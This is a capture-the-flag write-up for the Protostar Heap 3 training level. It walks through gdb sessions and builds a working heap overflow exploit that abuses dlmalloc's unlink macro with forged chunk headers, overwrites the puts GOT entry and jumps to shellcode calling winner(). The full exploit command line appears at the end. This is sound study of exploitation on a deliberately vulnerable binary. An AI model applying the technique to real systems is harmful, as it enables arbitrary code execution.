Exploit Exercises — Protostar Heap 3
This level was harder than previous ones. I needed to deep dive into how malloc
works and how to exploit the unlink
macros. Articles that helped me:
- Vudo - An object superstitiously believed to embody magical powers
- X86 Exploitation 101: Heap Overflows… Unlink Me, Would You Please?
- Heap Overflows
- A Memory Allocator
In our case we have 3 buffers, 32 bytes each:
a = malloc(32);
b = malloc(32);
c = malloc(32);
strcpy(a, argv[1]);
strcpy(b, argv[2]);
strcpy(c, argv[3]);
free(c);
free(b);
free(a);
Let’s see what happens when we run the program:
(gdb) b *main+136
Breakpoint 1 at 0x8048911: file heap3/heap3.c, line 24.
(gdb) r AAAA BBBB CCCC
Starting program: /opt/protostar/bin/heap3 AAAA BBBB CCCC
Breakpoint 1, 0x08048911 in main (argc=4, argv=0xbffff724) at heap3/heap3.c:24
24 heap3/heap3.c: No such file or directory.
in heap3/heap3.c
(gdb) x/12x 0x0804c008 - 8
0x804c000: 0x00000000 0x00000029 0x41414141 0x00000000
0x804c010: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c020: 0x00000000 0x00000000 0x00000000 0x00000029
(gdb) x/12x 0x0804c030 - 8
0x804c028: 0x00000000 0x00000029 0x42424242 0x00000000
0x804c038: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c048: 0x00000000 0x00000000 0x00000000 0x00000029
(gdb) x/12x 0x0804c058 - 8
0x804c050: 0x00000000 0x00000029 0x43434343 0x00000000
0x804c060: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c070: 0x00000000 0x00000000 0x00000000 0x00000f89
Now let’s see what happens after each free()
call:
(gdb) disassemble main
...
0x08048911 <main+136>: call 0x8049824 <free>
0x08048916 <main+141>: mov eax,DWORD PTR [esp+0x18]
0x0804891a <main+145>: mov DWORD PTR [esp],eax
0x0804891d <main+148>: call 0x8049824 <free>
0x08048922 <main+153>: mov eax,DWORD PTR [esp+0x14]
0x08048926 <main+157>: mov DWORD PTR [esp],eax
0x08048929 <main+160>: call 0x8049824 <free>
0x0804892e <main+165>: mov DWORD PTR [esp],0x804ac27
0x08048935 <main+172>: call 0x8048790 <puts@plt>
(gdb) b *main+148
Breakpoint 2 at 0x804891d: file heap3/heap3.c, line 25.
(gdb) b *main+160
Breakpoint 3 at 0x8048929: file heap3/heap3.c, line 26.
(gdb) b *main+165
Breakpoint 4 at 0x804892e: file heap3/heap3.c, line 28.
We set two new breakpoint before others free()
calls and one after the last free(a)
call. Contunue program and we stop right before the second free
call. Let’s examine the heap:
(gdb) x/12x 0x0804c058 - 8
0x804c050: 0x00000000 0x00000029 0x00000000 0x00000000
0x804c060: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c070: 0x00000000 0x00000000 0x00000000 0x00000f89
The we run over the second call:
(gdb) c
Continuing.
Breakpoint 3, 0x08048929 in main (argc=4, argv=0xbffff724) at heap3/heap3.c:26
26 in heap3/heap3.c
(gdb) x/12x 0x0804c008 - 8
0x804c000: 0x00000000 0x00000029 0x41414141 0x00000000 ; a
0x804c010: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c020: 0x00000000 0x00000000 0x00000000 0x00000029
(gdb) x/12x 0x0804c030 - 8
0x804c028: 0x00000000 0x00000029 0x0804c050 0x00000000 ; b
0x804c038: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c048: 0x00000000 0x00000000 0x00000000 0x00000029
(gdb) x/12x 0x0804c058 - 8
0x804c050: 0x00000000 0x00000029 0x00000000 0x00000000 ; c
0x804c060: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c070: 0x00000000 0x00000000 0x00000000 0x00000f89
And after the free(a)
:
(gdb) c
Continuing.
Breakpoint 4, main (argc=4, argv=0xbffff724) at heap3/heap3.c:28
28 in heap3/heap3.c
(gdb) x/12x 0x0804c008 - 8
0x804c000: 0x00000000 0x00000029 0x0804c028 0x00000000 ; a
0x804c010: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c020: 0x00000000 0x00000000 0x00000000 0x00000029
(gdb) x/12x 0x0804c030 - 8
0x804c028: 0x00000000 0x00000029 0x0804c050 0x00000000 ; b
0x804c038: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c048: 0x00000000 0x00000000 0x00000000 0x00000029
(gdb) x/12x 0x0804c058 - 8
0x804c050: 0x00000000 0x00000029 0x00000000 0x00000000 ; c
0x804c060: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c070: 0x00000000 0x00000000 0x00000000 0x00000f89
As we can see the chunks are stored in single-linked lists. There’s some good explanation to this:
freed chunks smaller than 64 bytes are placed into a single-linked list
So we need to set the size of a chunk greater that 64 bytes so that unlink
got called.
After freeing all chunks we can look at bins:
(gdb) disassemble free
Dump of assembler code for function free:
...
0x0804982a <free+6>: mov DWORD PTR [ebp-0x38],0x804b160 ; bins address
...
(gdb) x/16x 0x804b160
0x804b160 <av_>: 0x00000048 0x00000000 0x00000000 0x00000000
0x804b170 <av_+16>: 0x0804c000 0x00000000 0x00000000 0x00000000
0x804b180 <av_+32>: 0x00000000 0x00000000 0x00000000 0x0804c078
0x804b190 <av_+48>: 0x00000000 0x00000000 0x00000000 0x0804b194
We can see a bin with the index 5 points to the first chunk (which is a
and has 0x0804c000
address).
Check if we overwrote prevsize
:
(gdb) r AAAA `python -c "print 'A'*32 + '\xfc\xff\xff\xff' + '\xf0'"` DEADBEEF
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /opt/protostar/bin/heap3 AAAA `python -c "print 'A'*32 + '\xfc\xff\xff\xff' + '\xf0'"` DEADBEEF
Breakpoint 1, 0x08048911 in main (argc=4, argv=0xbffff704) at heap3/heap3.c:24
24 in heap3/heap3.c
(gdb) x/32x 0x0804c058 - 8
0x804c050: 0xfffffffc 0x000000f0 0x44414544 0x46454542
0x804c060: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c070: 0x00000000 0x00000000 0x00000000 0x00000f89
0x804c080: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c090: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0a0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0b0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0c0: 0x00000000 0x00000000 0x00000000 0x00000000
Since PREV_INUSE
is unset it will think about buffer b
as freed. Since we cannot use 0x00
bytes, we use negative values as size
. We use 0xfffffffc
which is 0b11111111111111111111111111111100
. Thus it will run p = chunk_at_offset(p, -(long)prevsz)
and will treat p+4
as a pointer to the previous chunk.
If we call free
on a chunk which has bk
and fd
pointers overwritten, then we will overwrite fd+12
with bk
and then bk+8
with fd
. If you don’t understand it, take a look at unlink
macro again:
#define unlink( P, BK, FD ) { \
BK = P->bk; \
FD = P->fd; \
FD->bk = BK; \
BK->fd = FD; \
}
Now let’s find what and where we need to write. Let’s find the address of winner()
:
$ readelf -Ws heap3 | grep winner
74: 08048864 37 FUNC GLOBAL DEFAULT 14 winner
And for example we want to replace puts()
in GOT:
user@protostar:/opt/protostar/bin$ readelf -r heap3 | grep puts
0804b128 00000e07 R_386_JUMP_SLOT 00000000 puts
Assuming that we will write at bk+8
, bk
must be 0x0804b128 - 0x0c = 0x804b11c
.
So let’s test our exploit:
(gdb) r AAAA `python -c "print 'B'*32 + '\xfc\xff\xff\xff' + '\xf0'"` `python -c "print 'CCCC' + '\x1c\xb1\x04\x08' + '\x64\x88\x04\x08'"`
Starting program: /opt/protostar/bin/heap3 AAAA `python -c "print 'B'*32 + '\xfc\xff\xff\xff' + '\xf0'"` `python -c "print 'CCCC' + '\x1c\xb1\x04\x08' + '\x64\x88\x04\x08'"`
Program received signal SIGSEGV, Segmentation fault.
0x08049906 in free (mem=0x804c058) at common/malloc.c:3638
3638 in common/malloc.c
It crashed. Let’s find if we rewrote GOT entry:
(gdb) x/x 0x0804b128
0x804b128 <_GLOBAL_OFFSET_TABLE_+64>: 0x08048864
We did! But why did we get this SEGFAULT?
(gdb) x/i 0x08049906
0x8049906 <free+226>: mov DWORD PTR [eax+0x8],edx
(gdb) i r eax edx
eax 0x8048864 134514788
edx 0x804b11c 134525212
It’s getting clearer — it tried to write at winner() + 0x8
and got an error because winner()
is in a read-only segment. To circumvent this, we will create a shellcode calling winner()
, then we’ll write the address of the shellcode into GOT and mov DWORD PTR [eax+0x8],edx
will be executed successfully.
Trying to use a pointer to buffer instead of a direct pointer to winner()
:
(gdb) r `python -c "print 'A'*32"` `python -c "print 'B'*32 + '\xfc\xff\xff\xff' + '\xf0'"` `python -c "print 'CCCC' + '\x1c\xb1\x04\x08' + '\x08\xc0\x04\x08'"`
Starting program: /opt/protostar/bin/heap3 `python -c "print 'A'*32"` `python -c "print 'B'*32 + '\xfc\xff\xff\xff' + '\xf0'"` `python -c "print 'CCCC' + '\x1c\xb1\x04\x08' + '\x08\xc0\x04\x08'"`
Program received signal SIGSEGV, Segmentation fault.
0x08049951 in free (mem=0x804c058) at common/malloc.c:3648
3648 in common/malloc.c
(gdb) x/i $eip
0x8049951 <free+301>: mov DWORD PTR [eax+0xc],edx
(gdb) i r eax edx
eax 0x0 0
edx 0x0 0
Crashed again. At least we rewrote our first buffer (see at 0x804c010
):
(gdb) x/24x 0x0804c000
0x804c000: 0x00000000 0x00000029 0x41414141 0x41414141
0x804c010: 0x0804b11c 0x41414141 0x41414141 0x41414141
0x804c020: 0x41414141 0x41414141 0x00000000 0x00000029
0x804c030: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c040: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c050: 0xfffffffc 0x000000f0 0x43434343 0x0804b11c
After a day of googling I understood why this SEGFAULT happens — because the next chunk is not valid and it tries to check the next chunk. So I needed to create a new fake chunk. I will use -32
byte offset which in hex representation is:
>>> i = -32
>>> hex(i & 0xffffffff)
'0xffffffe0'
Then I will create “fake” header. size
in our fake header will be -8
which is 0xfffffff8
. Thus our next next chunk will point directly to our b
buffer which has PREV_IN_USE
bit set:
(gdb) r `python -c "print 'A'*32"` `python -c "print 'BBBB' + '\xf8\xff\xff\xff' + 'B'*24 + '\xfc\xff\xff\xff' + '\xe0\xff\xff\xff'"` `python -c "print 'CCCC' + '\x1c\xb1\x04\x08' + '\x08\xc0\x04\x08'"`
Starting program: /opt/protostar/bin/heap3 `python -c "print 'A'*32"` `python -c "print 'BBBB' + '\xf8\xff\xff\xff' + 'B'*24 + '\xfc\xff\xff\xff' + '\xe0\xff\xff\xff'"` `python -c "print 'CCCC' + '\x1c\xb1\x04\x08' + '\x08\xc0\x04\x08'"`
Program received signal SIGILL, Illegal instruction.
0x0804c035 in ?? ()
(gdb) x/16x $eip
0x804c035: 0x42ffffff 0x42424242 0x42424242 0x42424242
0x804c045: 0x42424242 0x42424242 0xfc424242 0xe0ffffff
0x804c055: 0xddffffff 0x94ffffff 0x940804b1 0x000804b1
0x804c065: 0x00000000 0x00000000 0x00000000 0x00000000
(gdb) x/x 0x0804b128
0x804b128 <_GLOBAL_OFFSET_TABLE_+64>: 0x0804c008
New SEGFAULT and we are sure that we changed the flow. Then I changed A
to \xcc
in order to have breakpoints instead of shellcode:
(gdb) r `python -c "print '\xcc'*32"` `python -c "print 'BBBB' + '\xf8\xff\xff\xff' + 'B'*24 + '\xfc\xff\xff\xff' + '\xe0\xff\xff\xff'"` `python -c "print 'CCCC' + '\x1c\xb1\x04\x08' + '\x08\xc0\x04\x08'"`
Program received signal SIGTRAP, Trace/breakpoint trap.
0x0804c00d in ?? ()
Let’s look closer at the address where we jump to:
(gdb) x/x 0x0804b128
0x804b128 <_GLOBAL_OFFSET_TABLE_+64>: 0x0804c008
(gdb) x/16x 0x0804c008
0x804c008: 0x0804c028 0xcccccccc 0x0804b11c 0xcccccccc
0x804c018: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x804c028: 0x00000000 0x00000029 0x00000000 0xfffffff8
0x804c038: 0x42424242 0x42424242 0x42424242 0x42424242
0x0804c028
is just the address of the next chunk. It is there because free(a)
was called. Let’s change values a bit to jump over this:
(gdb) r `python -c "print '\xcc'*32"` `python -c "print 'BBBB' + '\xf8\xff\xff\xff' + 'B'*24 + '\xfc\xff\xff\xff' + '\xe0\xff\xff\xff'"` `python -c "print 'CCCC' + '\x1c\xb1\x04\x08' + '\x10\xc0\x04\x08'"`
Program received signal SIGTRAP, Trace/breakpoint trap.
0x0804c011 in ?? ()
(gdb) x/16x 0x0804c000
0x804c000: 0x00000000 0x00000029 0x0804c028 0xcccccccc
0x804c010: 0xcccccccc 0xcccccccc 0x0804b11c 0xcccccccc
0x804c020: 0xcccccccc 0xcccccccc 0x00000000 0x00000029
0x804c030: 0x00000000 0xfffffff8 0x42424242 0x42424242
(gdb) x/x 0x0804b128
0x804b128 <_GLOBAL_OFFSET_TABLE_+64>: 0x0804c010
After that I modiefied the first buffer (where our shellcode is) to call winner()
:
$ rasm2 -a x86 -b32 'push 0x8048864; ret;'
6864880408c3
Then I changed the exploit:
(gdb) r `python -c "print '\xcc'*8 + '\x68\x64\x88\x04\x08\xc3'"` `python -c "print 'BBBB' + '\xf8\xff\xff\xff' + 'B'*24 + '\xfc\xff\xff\xff' + '\xe0\xff\xff\xff'"` `python -c "print 'CCCC' + '\x1c\xb1\x04\x08' + '\x10\xc0\x04\x08'"`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /opt/protostar/bin/heap3 `python -c "print '\xcc'*8 + '\x68\x64\x88\x04\x08\xc3'"` `python -c "print 'BBBB' + '\xf8\xff\xff\xff' + 'B'*24 + '\xfc\xff\xff\xff' + '\xe0\xff\xff\xff'"` `python -c "print 'CCCC' + '\x1c\xb1\x04\x08' + '\x10\xc0\x04\x08'"`
that wasn't too bad now, was it? @ 1484671479
Program exited with code 056.
Run from console:
./heap3 `python -c "print '\xcc'*8 + '\x68\x64\x88\x04\x08\xc3'"` `python -c "print 'BBBB' + '\xf8\xff\xff\xff' + 'B'*24 + '\xfc\xff\xff\xff' + '\xe0\xff\xff\xff'"` `python -c "print 'CCCC' + '\x1c\xb1\x04\x08' + '\x10\xc0\x04\x08'"`
that wasn't too bad now, was it? @ 1484671532